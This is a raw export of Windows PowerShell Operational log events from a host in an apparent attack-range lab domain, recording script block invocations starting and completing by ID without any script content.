Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049875
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049874
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049873
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049872
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049871
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049870
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049869
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049868
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049867
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049866
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049865
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049864
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049863
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049862
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049861
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049860
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049859
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049858
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049857
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049856
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049855
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049854
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049853
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049852
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049851
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049850
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049849
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049848
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049847
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049846
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049845
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049844
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049843
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049842
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049841
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049840
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049839
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049838
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049837
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049836
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049835
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049834
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049833
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049832
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049831
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049830
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049829
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049828
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049827
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049826
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049825
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049824
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2049823
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2049822
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
